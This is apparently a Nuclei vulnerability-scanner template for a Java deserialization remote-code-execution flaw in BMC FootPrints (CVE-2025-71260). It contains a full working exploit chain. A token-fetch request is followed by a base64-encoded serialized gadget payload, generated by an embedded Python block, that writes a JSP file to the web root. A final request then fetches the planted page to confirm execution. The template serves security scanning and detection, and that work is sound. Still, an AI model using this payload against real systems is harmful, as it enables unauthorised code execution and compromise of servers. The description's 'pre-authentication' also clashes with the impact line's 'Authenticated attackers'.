id: CVE-2025-71260

info:
  name: BMC FootPrints - Deserialization of Untrusted Data (RCE)
  author: watchTowr,DhiyaneshDk
  severity: critical
  description: |
    BMC FootPrints Asset Core is vulnerable to pre-authentication remote code execution via Java deserialization in the aspnetconfig endpoint.
  impact: |
    Authenticated attackers can execute arbitrary code remotely, fully compromising the application.
  remediation: Upgrade BMC FootPrints to the latest patched version.
  reference:
    - https://labs.watchtowr.com/thanks-itsms-threat-actors-have-never-been-so-organized-bmc-footprints-pre-auth-remote-code-execution-chains/
    - https://github.com/watchtowrlabs/watchTowr-vs-BMC-Footprints-RCE-CVE-2025-71257-CVE-2025-71260/blob/main/watchTowr-vs-BMC-Footprints-RCE-CVE-2025-71257-CVE-2025-71260.py
    - https://nvd.nist.gov/vuln/detail/CVE-2025-71260
  metadata:
    verified: true
    max-request: 4
    shodan-query: html:"/footprints/servicedesk/"
  tags: cve,cve2025,servicedesk,bmc-software,rce,intrusive,file-upload

flow: http(1) && code(1) && http(2) && http(3)

http:
  - raw:
      - |
        GET /footprints/servicedesk/passwordreset/request/ HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains(header, "SEC_TOKEN=")'
        internal: true

  - raw:
      - |
        GET /footprints/servicedesk/aspnetconfig?__VIEWSTATE={{filename}} HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded
        Content-Length: {{len(payload)}}

        __VIEWSTATE={{payload}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 500'
        internal: true

  - raw:
      - |
        GET /{{filename}}.jsp HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "System Information"
          - "OS User:"
          - "Current Working Directory:"
        condition: and

      - type: status
        status:
          - 200

    extractors:
      - type: regex
        name: os_user
        part: body
        regex:
          - 'OS User:</strong>\s*([^<]+)'
        group: 1

code:
  - engine:
      - py
      - python3

    source: |
      import random
      import string
      import base64
      from urllib.parse import quote

      original_b64 = "rO0ABXNyABFqYXZhLnV0aWwuSGFzaFNldLpEhZWWuLc0AwAAeHB3DAAAAAI/QAAAAAAAAXNyADRvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMua2V5dmFsdWUuVGllZE1hcEVudHJ5iq3SmznBH9sCAAJMAANrZXl0ABJMamF2YS9sYW5nL09iamVjdDtMAANtYXB0AA9MamF2YS91dGlsL01hcDt4cHQAGndlYmFwcHMvUk9PVC93YXRjaFRvd3IuanNwc3IAKm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5tYXAuTGF6eU1hcG7llIKeeRCUAwABTAAHZmFjdG9yeXQALExvcmcvYXBhY2hlL2NvbW1vbnMvY29sbGVjdGlvbnMvVHJhbnNmb3JtZXI7eHBzcgA7b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkNvbnN0YW50VHJhbnNmb3JtZXJYdpARQQKxlAIAAUwACWlDb25zdGFudHEAfgADeHB1cgACW0Ks8xf4BghU4AIAAHhwAAABvjwlQCBwYWdlIGxhbmd1YWdlPSJqYXZhIiBjb250ZW50VHlwZT0idGV4dC9odG1sOyBjaGFyc2V0PVVURi04IiBwYWdlRW5jb2Rpbmc9IlVURi04IiU+CjwlCiAgICBTdHJpbmcgb3NVc2VyID0gU3lzdGVtLmdldFByb3BlcnR5KCJ1c2VyLm5hbWUiKTsKICAgIFN0cmluZyBjd2QgPSBTeXN0ZW0uZ2V0UHJvcGVydHkoInVzZXIuZGlyIik7CiU+CjwhRE9DVFlQRSBodG1sPgo8aHRtbD4KPGhlYWQ+CiAgICA8dGl0bGU+d2F0Y2hUb3dyIFN5c3RlbSBJbmZvPC90aXRsZT4KPC9oZWFkPgo8Ym9keT4KICAgIDxoMT5TeXN0ZW0gSW5mb3JtYXRpb248L2gxPgogICAgPHA+PHN0cm9uZz5PUyBVc2VyOjwvc3Ryb25nPiA8JT0gb3NVc2VyICU+PC9wPgogICAgPHA+PHN0cm9uZz5DdXJyZW50IFdvcmtpbmcgRGlyZWN0b3J5Ojwvc3Ryb25nPiA8JT0gY3dkICU+PC9wPgo8L2JvZHk+CjwvaHRtbD4Kc3IAPm9yZy5hc3BlY3RqLndlYXZlci50b29scy5jYWNoZS5TaW1wbGVDYWNoZSRTdG9yZWFibGVDYWNoaW5nTWFwO6sCH0tqVloCAANKAApsYXN0U3RvcmVkSQAMc3RvcmluZ1RpbWVyTAAGZm9sZGVydAASTGphdmEvbGFuZy9TdHJpbmc7eHIAEWphdmEudXRpbC5IYXNoTWFwBQfawcMWYNEDAAJGAApsb2FkRmFjdG9ySQAJdGhyZXNob2xkeHA/QAAAAAAAAHcIAAAAEAAAAAB4AAABmQ2q4P0AAAAMdAABLnh4"

      target = b"watchTowr"
      random_name = ''.join(random.choices(string.ascii_letters + string.digits, k=9))

      decoded = base64.b64decode(original_b64)
      modified = decoded.replace(target, random_name.encode())
      encoded = base64.b64encode(modified).decode()
      payload = quote(encoded, safe='')

      print(f"{random_name}|{payload}")

    extractors:
      - type: regex
        name: filename
        internal: true
        regex:
          - '^([^|]+)'
        group: 1

      - type: regex
        name: payload
        internal: true
        regex:
          - '\|(.+)$'
        group: 1
# digest: 4a0a00473045022100b2877e84e37d0dc5c41842be512b9309b95d850ad6474ae80a32462e6b81cfc60220533db7a89ed2ce39c410359b308c5bd8cac3d59d485712154572c64c2c94b5a9:41987585204b393149694b2205534b1a
